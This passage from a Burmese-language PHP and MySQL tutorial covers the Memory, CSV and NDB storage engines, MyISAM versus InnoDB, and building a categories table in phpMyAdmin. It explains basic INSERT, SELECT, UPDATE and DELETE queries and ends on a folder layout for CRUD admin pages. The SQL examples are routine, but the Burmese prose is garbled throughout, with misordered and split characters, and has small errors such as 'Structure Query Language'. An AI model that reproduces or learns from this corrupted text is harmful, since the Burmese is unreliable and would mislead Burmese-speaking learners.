နာရေအီလိုက်ြ  ရောသီဥတအုိပခအိနမတှတ်မး်  သိမး်ဆညး်ပခငး်၊  Website  တစ်ခရုေဲ့  အသံုးပပုမှု Satistic  အချက်ြ
အလက်ြများ သိမး်ဆညး်ပခငး်၊ Usage Log များ Error Log များ သိမး်ဆညး်ပခငး်၊ စတဲ့ မတှတ်မး်အပဖေစ် သိမး်ရေတဲ့
အချက်ြအလက်ြိတအွတက်ွြ သင့်ိ တာပ်ါတယ်။

Memory 
Memory Storage Engine ကြိတာ့ အချက်ြအလက်ြိတကုိွြ Hard Disk မာှမသိမ်းပဲ Memory ထမဲာှပဲ သိမး်ိပး
တဲ့ Engine ပဖေစ်ပါတယ်။ Memory ိပါ်အလပုလ်ပုတ်ာပဖေစ်လို့ အလနွပ်မနပ်ါတယ်။  MyISAM ထက်ြိတာင် ၃၀%
ိလာက်ြ  ပိုပမနပ်ါတယ်။  ဒါိပမယ့်  Database  Server  Run  ထားတဲ့ကြာလအတငွး်မာှပဲ  အချက်ြအလက်ြိတကုိွြ
သိမး်ထားိပးမာှပဖေစ်ပါတယ်။  Server  Crash  ပဖေစ်သွားရေင၊်  သုိမ့ဟတု်  ရေပလ်ိုက်ြရေင၊်  အချက်ြအလက်ြိတလွညး်
ိပျာက်ြ ကွြယ်သာွးမာှပဖေစ် ပါတယ်။ အမနှတ်စ်ကြယ်သိမး် ဆညး်ဖေို့ထက်ြ အကကိြမ်ကကိြမရ်ေယူဖေိုလ့ိုတဲ့ အချက်ြအလက်ြိတွ
ကုိြ  Disk ိပါ်မာှမထားပဲ Memory ထမဲာှ ိခတ္တ ထားပခငး်အားပဖေင့် App Performance ိကြာငး်ိအာင် Optimize
လပုတ်ဲ့အခါမျို းမာှ အသံုးဝငန်ိုငပ်ါတယ်။

CSV
Comma Separated Value လိုိ့ ခါ်တဲ့ CSV File ဆုိတာ တစ်ကြယ်ိတာ့ Data ိတကုိွြ Comma ( , ) ခပံပးီ သိမး်
ထားိပးတဲ့  Text File  တစ်မျို းသာပဖေစ်ပါတယ်။  Microsoft Excel  လုိ  Spreadsheet Software  ိတနွဲ့အသံုးပပု
နိုငပ်ါတယ။်  CSV Storage Engine  ကြ အချက်ြအလက်ြိတကုိွြ Database Table  အိနနဲ့မဟတုပ်ဲ  CSV File
အိနနဲ့သိမး် ဆညး်ိပးမာှ ပဖေစ်ပါတယ်။ အပခား  Engine  ိတမွာှလိုပဲ  SQL Query  ိတနွဲ့  အချက်ြအလက်ြိတကုိွြ
ရေယူ အသံုးပပုနိုင်ိ ပမယ့် Index ိတာလ့ပု ်မိပးနိုငပ်ါဘးူ။

NDB
Network Database လိုိ့ ခါ်တဲ့ NDB ကြိတာ့ ကွြနပ်ျူတာိတ ွအများကကီြးကုိြစုစညး်ပပးီ Resource ိတ ွိဝမျှပခငး်
အားပဖေင့်  Mainframe ကွြနပ်ျူတာကကီြးတစ်လုံးကဲြသုိ့ အလပုလ်ပုန်ိုင်ိ အာင် စီမထံားတဲ့  Cluster Environment မာှ
အသံုးပပု နိုငတ်ဲ့  Storage Engine ပဖေစ်ပါတယ်။ NDB ဟာ (Table File တစ်ခကုိုြ)  384EB အထလိက်ြခံိ ဆာင်
ရေက်ွြနိုငတ်ဲ့  Storage Engine  ပဖေစ်ပါတယ်။  EB, Exabyte  ဆုိတာ နတဲဲ့ပမာဏ မဟတုပ်ါဘးူ။ ကိြနး်ဂဏနး်အလုံး
(၂၀)  ထိ ပါဝငတ်ဲ့  ပမာဏတစ်ခပုဖေစ်ပါတယ်။ ဒါိပမယ့်  Table  တစ်ခမုာှ  ပါဝငန်ိုငတ်ဲ့  Column  အိရေအတက်ွြကုိြ
ိတာ ့(၁၂၈) ခထုပိ ဲကြန့်သတထ်ားပါတယ်။

Storage Engine ိတထွမဲာှ အသံုးအများဆံုးနစ်ှခကုြိတာ့ ပမနန်ှုနး်ပမင့်တဲ့  MyISAM နဲ့ လုပ်ိ ဆာငခ်ျက်ြပပည့်စံုတဲ့
InnoDB တို့ပပဲဖေစ်ပါတယ်။  ထးူပခားချက်ြအိနနဲ့သတပိပုသင့်တာကြ  Storage Engine ဆုိတာ Table ကုိြ သတမ်တှ်
တာပါ။ Database တစ်ခအုတငွး်မာှ Storage Engine မတတူဲ့ Table အမျို းမျို း ပးူတွဲတညရ်ေှိ နိုငပ်ါတယ်။ အချက်ြ
အလက်ြိတရွောှိဖေဖွေို့နဲ့ ပပနလ်ညရ်ေယူဖေို့လပုင်နး် များများလိုအပတ်ဲ့   Table ိတအွတက်ွြ MyISAM အသံုးပပုသင့်ပပီး၊
Integrity လ့ုိိခါ်တဲ့ အချက်ြအလက်ြတကိြျမှု အိရေးကကီြးပပီး အချက်ြအလက်ြပပငဆ်ငပ်ခငး် ပိုများနိုငတ်ဲ့ Table ိတမွာှ
InnoDB ကုိြ အသံုးပပုသင့်ပါတယ်။
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မတ်ှချကြ်  ။  ။ Relational  Database  ဟာလညး်  ကြျယပ်ပန့်တ့ဲဘာသာရေပတ်စခ်ပုဖေစပ်ါတယ။်   Foreign  Key,  Table
Relationships, Transaction, Rollback, Locking, Concurrency, Non-Locking Read  စသပဖေင့် အိသးစတ်ိသရိေှိထား
သင့်  တ့ဲအပိုငး်ိတွ အများကကြးီရေှိပါိသးတယ။် ဒစီာအပုမ်ာှိတာ့  အားလံုးကြိုိ ဖောပ်ပနိုငမ်ာှမဟတ်ုပါဘးူ။ လကြ်ိ တွ့အလုပလု်ပတ်ဲ့
အခါ  မပဖေစမ်ိနသရိေှိထားဖေို့လုိတ့ဲ  အပိုငး်ိတွကြိုသာိရေးွချယ်ိ ဖောပ်ပသာွးမာှပါ။  ိရေရေညှအ်တွကြ်  Database  နဲ့ပတ်သကြပ်ပးီ
အိသးစတ်ိ ဆကြလ်ကြ်ိ လ့လာသာွးသင့်ိ အကြာငး် အအကြပံပုလုိပါတယ။်

ပုံ  (၇-င) နမနူာမာှ  Storage Engine  အိနနဲ့  InnoDB  ကုိြိရေးွချယ်ထားပါတယ်။ သီးပခားရေညရ်ေယ်ွချက်ြ တစ်ခနုဲ့
ိရေးွချယ်ထားပခငး်ိတာ့ မဟတုပ်ါဘးူ။ ထးူပခားမှုသိပမ်ရေှိလတှဲ့ ရုိးရုိး  Table တစ်ခသုာပဖေစ်လို့ Default ိပးထားတဲ့
အတိုငး်  InnoDB ထားလိုက်ြပခငး် ပဖေစ်ပါတယ။် အခုဆုိရေင်  Table တစ်ခတုည်ိ ဆာက်ြဖေို့အတက်ွြ သတမ်တှသ်င့်တာ
ိတ ွ အားလုံးသတမ်တှပ်ပးီပပမီို့  ိအာက်ြနားကြ  Save Button  ကုိြနှိပလ်ိုက်ြရေင်  phpMyAdmin  ကြ  categories
Table ကုိြ သတမ်တှထ်ားတဲ့ အချက်ြနဲ့ အညတီည်ိ ဆာက်ြိပးသွားမာှ ပဖေစ်ပါတယ်။

ကြျွန်ိ တာတ်ို့ လက်ြရေှိိ ရောက်ြိနတာကြ store Database ထမဲာှပဖေစ်လို့ ဘယ်လက်ြပခမး်မာှ  Database စာရေငး်အစား
store Database  ထမဲာှရေှိိ နတဲ့  Table  စာရေငး်ကုိြိဖောပ်ပိပးိနမာှ  ပဖေစ်ပါတယ်။  ိလာိလာဆယ်ိတာ့
categories Table  တစ်ခသုာ ရေှိိ သးပပးီ အ့ဲဒီ  categories Table  ကုိြနှိပလ်ိုက်ြမယ်ဆိုရေင် ညာဘက်ြပခမ်းမာှ
categories Table ရေဲ့  ဖေွဲ့စညး်ပုံကုိြ ပုံ (၇-စ) မာှိဖောပ်ပထားတဲ့အတိုငး်ိတွ့ ပမငရ်ေမာှပဖေစ်ပါတယ်။ 

ပုံ (၇-စ) phpMyAdmin - categories Table

ခုိ န categories Table  ကုိြ ပပနဖ်ေျက်ြလိုရေင်  Main Menu ထကဲြ Operations  ကုိြသွားပပီး  Delete the table
(DROP) ဆုိတဲ့  Option  ကုိြ  ရောှပပးီနှိပ်ိ ပးလိုက်ြယံုပါပ။ဲ  Table  Structure  ကုိြပပုပပငလ်ိုရေင်ိ တာ့  သက်ြဆိုငရ်ော
Column  အမည်ိ နာက်ြနားကြ  Change  ကုိြနှိပပ်ပးီပပုပပငန်ိုငပ်ါတယ်။  Column  အသစ်တိုးလို ရေင်ိ တာ့ိ အာက်ြနား
ကြ Add Form မာှ တုိးလိုတဲ့ Column အိရေအတက်ွြထည့် သွငး်ပပးီ Go Button ကုိြ နှိပလ်ိုက်ြနိုငပ်ါတယ်။

categories Table ထမဲာှ စာအုပ်အမျို းအစားစာရေငး်ကုိြ စတငထ်ည့်သွင်းဖေို့အတက်ွြ Main Menu ကြ Insert ကုိြ
နှိပ်ိ ပးလိုက်ြပါ။ ပုံ (၇-ဆ) မာှိဖောပ်ပထားသလို အချက်ြအလက်ြိတ ွထည့်သွငး်နိုငတ်ဲ့ Form ိပါ်လာပါလမိ့်မယ။်
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ပုံ (၇-ဆ) phpMyAdmin - Insert

မတ်ှချကြ် ။ ။ ပုံမာှ  Form တစခ်တုညး်ပပထားိပမယ့် ကုိြယတုိ်ငစ်မး်သပအ်ကြည့်တ့ဲအခါ အိပါ်ိအာကြ် ပုံစတူံ  Form နစှခ်ု ပါဝင်
တာကြိုိ တွ့ရေနိုငပ်ါတယ။် နစှခ်စုာတစပ်ပို ငတ်ညး် ထည့်လုိရေငထ်ည့်နိုင်ိ အာင်  ိပးထားတာပါ။ ိအာကြ်  Form  ကြ မထည့်လုိရေင်
ချနထ်ား ခဲ့လုိရ့ေပါတယ။်

ပုံ  (၇-ဆ) နမနူာမာှ id Column အတက်ွြ ဘာမမှထည့်ခဲ့တာကုိြ သတပိပုပါ။  id ကုိြ  Auto Increment သတမ်တှ်
ထား လ့ုိ ကြျွန်ိ တာတ်ို့ထည့်ိ ပးစရောမလိုပါဘးူ။  MySQL ကြ သူဟ့ာသူထည့်သွားပါလမိ့်မယ်။ phpMyAdmin ကြ
ကုိြယ်တိုင်  ထည့်ချငရ်ေငလ်ညး်  ထည့်နိုင်ိ အာငသ်ာိပးထားတာပါ။  မထည့ိ် တာပ့ဲ  ချနထ်ားခဲ့လိုက်ြပါ။  name
Column  နဲ့  remark Column  တို့မာှိတာ့ စာအုပ်အမျို း  အစားနဲ့ပတသ်က်ြတဲ့ အချက်ြအလက်ြတစ်ချို ့ထည့်သွငး်
ိပးထားပါတယ်။  created_date နဲ့  modified_date Column  တို့အတက်ွြလညး်  Value  အိနနဲ့  ဘာမှ
ထည့်ိ ပးမထားပါဘးူ။  အ့ဲဒအီစား  Function  Select  Box  ကြိန NOW  ကုိြိရေးွိပးထားပါ  တယ်။  Function
Select Box ကုိြနှိပအ်ကြည့်ရေင်  MySQL Function စာရေငး် ိပါ်လာပါလမိ့်မယ်။ အခသံုုးထားတဲ့ NOW Function
ကြိတာ့ လက်ြရေှိရေက်ြစဲွနဲ့အချနိကုိ်ြ ထည့်သွငး်ိပးတဲ့ Function ပဖေစ်လို့ crated_date နဲ့  modified_date တို့
အတက်ွြ လက်ြရေှိရေက်ြစဲွနဲအ့ချနိ်  အလိုအိလျှာက်ြ ထည့်သွငး်ိပးသွားမာှပဖေစ်ပါတယ်။ အားလုံးစံုပပီဆုိရေင်  Go Button
ကုိြနှိပ်ိ ပးလိုက်ြရေပါတယ်။  ိနာက်ြတစ်ဆင့်မာှ  ကြျွန်ိ တာတ်ို့  ိပးထားတဲ့  အချက်ြအလက်ြိတကုိွြ  Record  တစ်ခု
အိနနဲ့  Table  ထဲကုိြ  ထည့်သွငး်တဲ့အခါ  အသံုးပပုရေမယ့်  SQL Command  ကုိြလာိဖောပ်ပပပးီ  Record  တစ်ခကုိုြ
လညး် categories Table ထဲကုိြ ထည့်သွင်းိပးသွားမာှပဲ ပဖေစ်ပါတယ်။ ိနာက်ြ Record တစ်ခထုည့်သွငး် လိုရေင်
Main Menu ထကဲြ Insert ကုိြ ိနာက်ြတစ်ိခါက်ြပပနန်ှိပပ်ပးီ ထည့်သွင်း ိပးယံုပါပ။ဲ ဒနီညး်နဲ့ Sciences, Religion,
Fiction,  Mythology,  Language,  Technology,  Magazine  စသပဖေင့်  Record  ဆယခ်ုိ လာက်ြရေိအာင်
ထည့်သွငး်ိပးသွားပါ။

ပပးီရေင်  Main Menu  ထကဲြ  Browse  ကုိြ  နှိပလ်ိုက်ြပါ။  ပုံ  (၇-ဇ) မာှိဖောပ်ပထားသလို ထည့်သွငး်ထားတဲ့  Record
စာရေငး်ကုိြ လာပပးီိဖောပ်ပိပးပါလမိ့်မယ။်
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ပုံ (၇-ဇ) phpMyAdmin - Browse Records

Record တစ်ခကုိုြဖေျက်ြချငရ်ေင် သက်ြဆုိငရ်ော Record ိရေှ့နားကြ Delete ကုိြနှိပပ်ခငး်အားပဖေင့် ဖေျက်ြနိုငပ်ပးီ ပပငဆ်ငလ်ို
ရေင ်လည်း သက်ြဆုိငရ်ော Record ိရေှ့နားကြ Edit ကုိြနှိပပ်ပးီ ပပငဆ်ငန်ိုငပ်ါတယ်။

အခုဆုိရေင်  phpMyAdmin  ကုိြအသံုးပပုပပီး  Database  ိတတွည်ိ ဆာက်ြပုံ၊  Table  ိတတွည်ိ ဆာက်ြပုံနဲ့  Record
ိတ ွ ထည့်သွင်းစီမပံုံတို့ကုိြ  သိရေှိသွားပပပီဖေစ်ပါတယ်။  ိရေှ့ဆက်ြပပးီ  PHP  ကြိန MySQL  Database  Server
ချတိဆ်က်ြပပးီ အချက်ြအလက်ြိတ ွရေယူစီမံ နိုငပ်ုံကုိြ ိလ့လာသွားမာှပါ။

MySQL ကုိြ Structure နဲ့ Data ဆုိပပီးနစ်ှပိုင်းခွဲအကြည့်ိ ပးပါ။ Database တည်ိ ဆာက်ြပခင်းနဲ့ Table တည်ိ ဆာက်ြ
ပခငး်  က့ဲြသုိ့  Structure  ပိုငး်စီမပံခငး်ကုိြ  PHP  ကြိနလပုဖ်ေို့  လိုအပခ်ပဲါတယ။်  Structure  ဆုိတာ အိပခခအံားပဖေင့်
အချနိန်ဲအ့မျှ ိပပာငး်ိနတက်ြတဲ့အမျို း မဟတုပ်ါဘးူ။ တစ်ကကိြမတ်ည်ိ ဆာက်ြထားပပးီရေငရ်ေပါပပ။ီ လိုအပလ်ို့ Structure
ကုိြ ပပငဆ်ငတ်ယ် ဆုိတာ ရေှိနိုငပ်ါတယ်။ ဒါိပမယ့် PHP Code ကြိနလမှး်ပပးီ ခဏခဏပပငရ်ေတယ်ဆုိတဲ့ လိုအပခ်ျက်ြ
မျို းိတာ့ သိပမ်ရေှိပါဘးူ။ ဒါိအကြာင့်  PHP နဲ့ အဓကိြစီမမံာှကြ Record  ိတ ွပဖေစ်ပါတယ်။ တနညး်အားပဖေင့်  PHP နဲ့
တည် ိဆာက်ြထားပပးီ သား Table ိတထွကဲြ အချက်ြအလက်ြိတ ွကုိြ CRUD (Create, Read, Update, Delete)
ပပုလပုမ်ာှပဖေစ်ပါတယ။်

7.3 - SQL Queries
ပထမဦးဆံုး  SQL Query Command  ိတသိွရေှိထားဖေို့  လိုအပပ်ါတယ်။  Structure Query Language  ရေဲ့  အတို
ိကြာက်ြအိခါ်ပဖေစ်တဲ့  SQL  ဟာ  RDBMS  ိတကုိွြစီမနံိုငတ်ဲ့  Language  တစ်မျို းပဖေစ်ပါတယ်။ စနစ်ိတ ွကွြာသွား
တာနဲ့အမျှ ိရေးထုံးလညး် အနည်းငယ်ကွြာသွားတက်ြိပမယ့် အိပခခံိ ရေးသားပုံကြိတာတ့ညူတီက်ြပါတယ်။ SQL မာှ
Data Definition Language  နဲ့  Data Manipulation Language  ဆုိပပးီနစ်ှပိုငး်ပါဝင်ိ လရ့ေှိပါတယ။် ဒါိပမယ့်
ိပပာခဲ့ပပးီပဖေစ်တဲ့ အတိုငး် ကြျွန်ိ တာတ်ို့ကြိတာ ့Data Manipulation ဘက်ြကုိြ အသားိပးိလလ့ာသွားမာှပါ။
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ပထမဆံုးအိနနဲ့  Record  ိတထွည့်သွငး်ဖေို့အတက်ွြ  INSERT Query ကုိြအသံုးပပုနိုငပ်ါတယ်။  ိရေးသားပုံကြိတာ့
အခလုို ပါ။

INSERT INTO categories( name, created_date, modified_date ) 
VALUES ( 'Comic', now(), now() );

စာလုံးအကကီြးအိသးနစ်ှသက်ြသလို  ိရေးနိုငပ်ါတယ်။  နမနူာမာှ  စာလုံးအကကီြးိတနွဲ့ိ ရေးသားထားတာိတကွြ  Query
Keyword  ိတ ွ ပဖေစ်ပါတယ်။  Record  အသစ်တစ်ခထုည့်သွငး်လိုတာပဖေစ်လို့  ိရေှ့ ဆံုးကြ  INSERT INTO Key-
word နဲ့ စထားပါတယ်။  စာလုံးိသးနဲ့ ိရေးထားတာိတကွြိတာ့  Table အမည၊် Column များနဲ့ထည့်သွင်းလိုတဲ့
အချက်ြအလက်ြ တ့ုိ ပဖေစ်အကြပါတယ်။  Table နဲ့ Column အမည်ိ တကုိွြ Tide Key ( ` ) အဖေငွ့်အပတိန်ဲ့ိ ရေးိပးရေပါ
တယ်  (  ဥပမာ  -  `categories`)။  ဒါိပမယ့်မထည့်လညး်ရေလို့  နမနူာမာှထည့်ိ ပးမထားပါဘးူ။  Table  နဲ့
Column  အမည်ိ တမွာှ  Space  ိတပွါလာိတာမ့သှာ  မပဖေစ်မိနထည့်သွငး်  ိပးဖေို့လိုတာပါ။  ကြျွန်ိ တာတ်ို့တည်
ိဆာက်ြထားတဲ့ Table နဲ့ Column အမည်ိ တမွာှ Space ိတမွပါလို့ Tide Key အဖေငွ့်အပတိထ်ည့်မိရေးတာပါ။

categories ိနရောမာှ  Record  ထည့်သွငး်လိုတဲ့  Table  အမညကုိ်ြ  လိုအပသ်လိုထည့်သွင်းိပးနိုငပ်ါတယ။်
Table အမည်ိ နာက်ြမာှ Column စာရေငး်ိပးရေပါတယ်။ categories Table မာှ Column (၅) ခရုေှိ ိပမယ့် (၃)
ခပုထဲည့် ချငလ်ို့  name, created_date, modified_date (၃) ခပုဲိ ပးထားပါတယ်။ id ကြိတာ့ Auto
Increment  သတမ်တှထ်ားလို့ထည့်ဖေိုမ့လိုပါဘးူ။   remark အတက်ွြလညး်  ထည့်ချငတ်ဲ့  အချက်ြအလက်ြမရေှိလို့  မ
ထည့်ပခဲျနထ်ားခဲ့ပါတယ်။

ဆက်ြလက်ြပပးီ  VALUES Keyword  လုိက်ြရေပါတယ်။  သူိနာက်ြမာှ  ထည့်သွငး်လိုတဲ့  တနဖ်ေိုးိတတွနး်စီ  ိပးရေပါ
တယ်။  Column  စာရေငး်မာှ  (၃)  ခပုဖေစ်တဲ့အတက်ွြ ထည့်သွင်းလိုတဲ့တနဖ်ေိုးစာရေငး်ကြလညး်  (၃)  ခပုဲ  ပဖေစ်ရေမာှပဖေစ်ပါ
တယ်။ ထည့် သွငး်လိုတဲ့တနဖ်ေိုးိတကွြ စာပဖေစ်ိနရေင်ိ တာ့ Double Quote သုိမ့ဟတု်  Single Quote အဖေငွ့်အပတိ်
နဲ့ိ ရေးသားိပးရေပါတယ်။  ကိြနက်ြဏနး်ိတဆုိွရေင်ိ တာ့  မလိုပါဘးူ။  နမနူာမာှ  'Comic' ဆုိတဲ့တနဖ်ေိုးကြို  Single
Quote  အဖေငွ့်အပတိန်ဲ့  ထည့်ိ ပးထားပါတယ်။  ိနာက်ြကြတနဖ်ေိုး  နစ်ှခမုာှိတာ့  MySQL  ရေဲ့  now() Function
တစ်ခစီုကုိြယစီ်ထည့ိ် ပးထားပါတယ်။ now() Function ကြ လက်ြရေှိိ နစဲွ့နဲအ့ချနိ် ကုိြထတု်ိ ပးတဲ့  Function ပဖေစ်ပါ
တယ်။ ဒါိအကြာင့် now() Function သံုးထားတဲ့ိ နရောတိုငး်မာှ လက်ြရေှိရေက်ြစဲွနဲအ့ချနိကုိ်ြ  MySQL DATETIME ကြ
လက်ြခတံဲ့ Format နဲ့ရေရေှိိ စမာှ ပဖေစ်ပါတယ်။  Query အဆံုးမာှိတာ ့Semi-colon နဲ့ အဆံုးသတ်ိ ပးရေပါတယ။်

Query  ိတ ွိရေးသားစမး်သပဖ်ေိုအ့တက်ွြ  phpMyAdmin Main Menu  ထဲကြ  SQL  ကုိြနှိပလ်ိုက်ြပါ။  ိပါ်လာတဲ့
Box ထမဲာှ  ပုံ  (၇-စျ) မာှပပထားသလို နမနူာိဖောပ်ပခဲ့တဲ့  INSERT Query ကုိြိရေးသားိပးပါ။ ပပးီရေင်  Go Button
နှိပလ်ိုက်ြတဲ့အခါ  ိရေးသားထားတဲ့  Query  အလပုလ်ပုသွ်ားမာှပဖေစ်ပါတယ်။  Main  Menu  ထဲကြ  Browse  ကုိြနှိပ်
အကြည့်ရေင ်Record အသစ် တစ်ခတုိုးသွားတာကုိြလညး် ိတွ့ရေမာှပါ။
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ပုံ (၇-စျ) phpMyAdmin - SQL

အချက်ြအလက်ြိတ ွရေယူဖေို့အတက်ွြ SELECT Query ကုိြသံုးရေပါတယ်။ ိရေးသားပုံနမနူာကြဒလီိုပါ။

SELECT id, name, remark FROM categories
ORDER BY name DESC
LIMIT 5;

SELECT Keyword နဲ့စရေပပီး သူ့ိ နာက်ြမာှ ရေယူလိုတဲ့  Column စာရေငး်ကုိြိပးရေပါတယ။် Column အားလုံး လိုချင်
တာ ဆုိရေင် တစ်ခခုျငး်တနး်စီိရေးိနစရောမလိုပါဘးူ Asterisk ( * ) ိလးထည့်ိ ပးလိုက်ြရေငရ်ေပါပပ။ီ Column စာရေငး်
ိနာက်ြမာှ  FROM Keyword  နဲ့  Table  အမညလ်ိုက်ြရေပါတယ်။  နမနူာအရေ  categories Table  ထဲကြ  id,
name, remark Column များကုိြရေယလူိုတယ်လို ့သတမ်တှလ်ိုက်ြပခငး်ပဖေစ်ပါတယ်။

နမနူာမာှိဖောပ်ပထားတဲ့ ကြျနအ်ပိုင်းကြိတာလ့ိုမသံုှးရေမာှပါ။ မလိုရေငခ်ျနထ်ားခဲ့လို့ရေပါတယ်။ ORDER BY Keyword
ကုိြ သံုးပပီ  Sort  လုပ်ိ ပးိစလိုတဲ့  Column  ကြပထ်ည့်ိ ပးရေပါတယ်။  Sort  ကုိြ  Column တစ်ခထုက်ြပိုလပု် ိပးိစ
ချငရ်ေင် လညး်အတွဲလိုက်ြိပးနိုငပ်ါတယ် (ဥပမာ - ORDER BY name, created_date)။ အတွဲလိုက်ြိပးလိုက်ြ
ရေင်  ိရေှ့ ဆံုးကြ  Column  နဲ့  အရေငစီ်ိပးပပးီ  ိနာက်ြကြ  Column  ိတနွဲ့  အစဉ်အတိုငး်ဆက်ြပပီး  စီိပးသွားမာှပဖေစ်ပါ
တယ်။ ORDER BY ကြ ပုံမနှဆုိ်ရေင် ငယ်စဉက်ကီြးလိုက်ြ စီိပးမာှပါ။ အ့ဲဒါကုိြ ကကီြးစဉင်ယ်လိုက်ြစီိစချငရ်ေင်  Column
စာရေငး် ိနာက်ြမာှ DESC Keyword ထည့်သွငး် ိပးနိုငပ်ါတယ်။ သူလညး်လိုမှ ထည့်ရေမာှပါ။ မလိုရေငခ်ျနထ်ားခဲ့နိုင်
ပါတယ်။

ိနာက်ြထပ် SELECT Query နဲ့အတူ တွဲဖေက်ြသံုးိလရ့ေှိတာကြိတာ့  LIMIT  ပဖေစ်ပါတယ်။ ရေယူမယ့် Record အိရေ
အတက်ွြကုိြ ကြန့်သတလ်ိုက်ြပခငး်ပဖေစပ်ါတယ်။ LIMIT 5 လ့ုိိပပာထား တဲ့အတက်ွြ ပထမဆံုး (၅) ိအကြာငး် ပရဲေယူိပး
မာှ ပါ။ LIMIT အတက်ွြ စမတှလ်ညး်ထည့်ိ ပးနိုငပ်ါတယ်။ ဥပမာ LIMIT 2, 5 ဆုိရေင် နစ်ှိအကြာငး် ိပမာက်ြကြိန
စပပးီ  (၅)  ိအကြာငး်ရေယူမယ်ဆုိတဲ့  အဓပိ္ပါယ်ပဖေစပ်ါတယ်။  2  ကြ  စမတှပ်ဖေစ်ပပီး၊  5  ကြ  အိရေအတက်ွြပဖေစ်ပါတယ်။
phpMyAdmin ရေဲ့  SQL Box ထမဲာှ အမျို းမျို းိရေးသားစမး်သပအ်ကြည့်နိုငပ်ါတယ်။
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မတ်ှချကြ်  ။  ။ Query  ိတွိရေးသားတ့ဲအခါ  နမနူာမာှိဖောပ်ပထားသလုိ  တစ်ိ အကြာငး်ချငး်ခွိဲ ရေးိနစရောလညး်  မလုိပါဘးူ။  တစ်
ိအကြာငး်တညး်  တနး်စီိ ရေးလညး်  အလုပလု်ပမ်ာှပပဲဖေစပ်ါတယ။်  Query  အဆံုးမာှသာ  Semi-colon  ထည့်ိ ပးဖေိုလုိ့တာပါ။  ဒါ
ိတာငမ်ှ  Query  ကြ  တစ်ိ အကြာငး်  တညး်ဆုိရေင်  ထည့်စရောမလုိပါဘးူ။  တစ်ိ အကြာငး်ထကြပ်ိုလာမာှသာ  Query  တစခ်နုဲ့တစခ်ု
ခွဲပခားတ့ဲအိနနဲ့ထည့် ိပးရေတာ ပါ။ 

Record ိတ ွပပငဆ်ငဖ်ေိုအ့တက်ွြ UPDATE Query ကုိြသံုးနိုငပ်ါတယ်။ ိရေးသားပုံကြ ဒလီိုပါ -

UPDATE categories SET name='Computer', modified_date=now()
WHERE name='Technology';

UPDATE Keyword  ိနာက်ြမာှ  Table  အမညလ်ိုက်ြရေပါတယ်။  ပပးီိတာမ့ှ  SET Keyword  နဲ့  ပပငဆ်ငလ်ိုတဲ့
Column  နဲ့  တနဖ်ေိုးတိုကုိ့ြ  အတွဲလိုက်ြိရေးသားိပးရေပခင်းပဖေစ်ပါတယ်။   name Column  ကုိြ  'Computer' လို့
ပပငဆ်င်ိ စလိုက်ြပခငး်  ပဖေစ်ပပးီ  modified_date Column  ကုိြိတာ့  လက်ြရေှိ  Query  အလပုလ်ပုသွ်ားတဲ့  ရေက်ြစဲွ
အချနိန်ဲ့  ပပငဆ်င်ိ စလိုက်ြ  ပခငး်ပဖေစ်ပါတယ်။  ဒီိ နရောမာှရေပထ်ားရေငလ်ညး်  Query  ကြမနှ်ိ နတဲ့အတက်ွြ အလပုလ်ပု်
သွားမာှပဖေစ်ပါတယ်။  ဒါိပမယ့်  categories Table  ထကဲြ  ရေှိသမျှ Record  အားလုံးရေဲ့  name နဲ့
modified_date Column  တို့ကုိြ ပပငဆ်ငလ်ိုက်ြမာှပဖေစ်ပါတယ်။ ဒါိအကြာင့် ပပငဆ်ငလ်ိုတဲ့  Record  ကုိြ  WHERE
Keyword နဲ့အတ ူဆက်ြလက်ြသတမ်တှ်ိ ပးရေပါ တယ်။ WHERE name= 'Technology' လို့ သတမ်တှထ်ားတဲ့
အတက်ွြ name Column မာှ မလူတနဖ်ေိုး Technology ပဖေစ်ိနတဲ့ Record ိတကုိွြ သာ ိရေးွချယ်ပပငဆ်င်ိ ပးသွား
မာှပဖေစ်ပါတယ်။  name Column မာှ  Technology တနဖ်ေိုးရေှိိ နတဲ့  Record  ရေှိသိလာက်ြကုိြ ပပငဆ်ငသွ်ားမာှပဖေစ်ပါ
တယ်။ ဒီိ နရောမာှ PRIMARY သတမ်တှ် ထားတဲ့ Column ကြ အိရေးပါလာပါတယ်။ မလိုလားအပတ်ဲ့ အမာှးိတကုိွြ
ိရောှငဖ်ေို့အတက်ွြ PRIMARY သတမ်တှထ်ားတဲ့ သက်ြဆုိငရ်ော ID နဲ့သာ ပပငဆ်ငပ်ခငး်ကုိြပပုလပုသ်င့်ပါတယ။် ဒလီိုဆုိ ပို
သင့်ိ တာမ်ာှပါ  - 

UPDATE categories SET name='Computer', modified_date=now()
WHERE id=2;

ဒလီိုဆုိရေင်  id တနဖ်ေိုး  2 ပဖေစ်ိနတဲ့ Record ကုိြသာ ပပငဆ်င်သွားမာှပဖေစ်ပါတယ်။ id ဟာ PRIMARY သတမ်တှ်
ထား လ့ုိ တနဖ်ေိုး 2 ပဖေစ်ိနတဲ့ Record နစ်ှခရုေှိမာှမဟတုပ်ါဘးူ။

Record ိတပွယ်ဖေျက်ြဖေိုအ့တက်ွြိတာ ့DELETE Query ကုိြသံုးနိုငပ်ါတယ်။ ိရေးသားပုံကြဒလီိုပါ -

DELETE FROM categories WHERE id=2;

DELETE FROM Keyword ိနာက်ြကြ Table အမညလ်ိုက်ြရေပါတယ်။ DELETE FROM categories  မာှတင် ရေပ်
ထားလိုက်ြရေင် categories Table ထမဲာှရေှိိ နသမျှ Record အားလုံးပျက်ြသွားမာှပဖေစ်ပါတယ်။ ဒါိအကြာင့် ိနာက်ြ
ကြိနပယ်ဖေျက်ြလိုတဲ့  Record  ကုိြ  WHERE Keyword  နဲ့  ညွှနး်ိပးရေပါတယ်။  နမနူာမာှ  WHERE  id=2 လ့ုိ
သတမ်တှထ်ားလို့  id Column ကြတနဖ်ေိုး 2 ပဖေစ်ိနတဲ့ Record ကုိြသာိရေးွချယ်ပယ်ဖေျက်ြသွားမာှပဖေစ်ပါတယ်။
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7.4 - PHP and MySQL
PHP နဲ့ ကြျွန်ိ တာတ်ို့လက်ြရေှိတည်ိ ဆာက်ြထားတဲ့  categories Table  ကုိြ  Create, Read, Update, Delete
လပု် ငနး်များပပုလပုန်ိုငတ်ဲ့ Form ိတ ွတည်ိ ဆာက်ြအကြည့်ချငပ်ါတယ်။ ပထမဆံုးအိနနဲ့ htdocs Folder ိအာက်ြ
မာှ ိဖောပ်ပ ပါအတိုငး် Folder နဲ့ File ိတတွည်ိ ဆာက်ြိပးပါ။

store/ 
|-- admin/ 
|   |-- confs/ 
|   |   |-- config.php 
|   |-- cat-list.php 
|   |-- cat-new.php 
|   |-- cat-add.php 
|   |-- cat-edit.php 
|   |-- cat-update.php 
|   |-- cat-del.php 
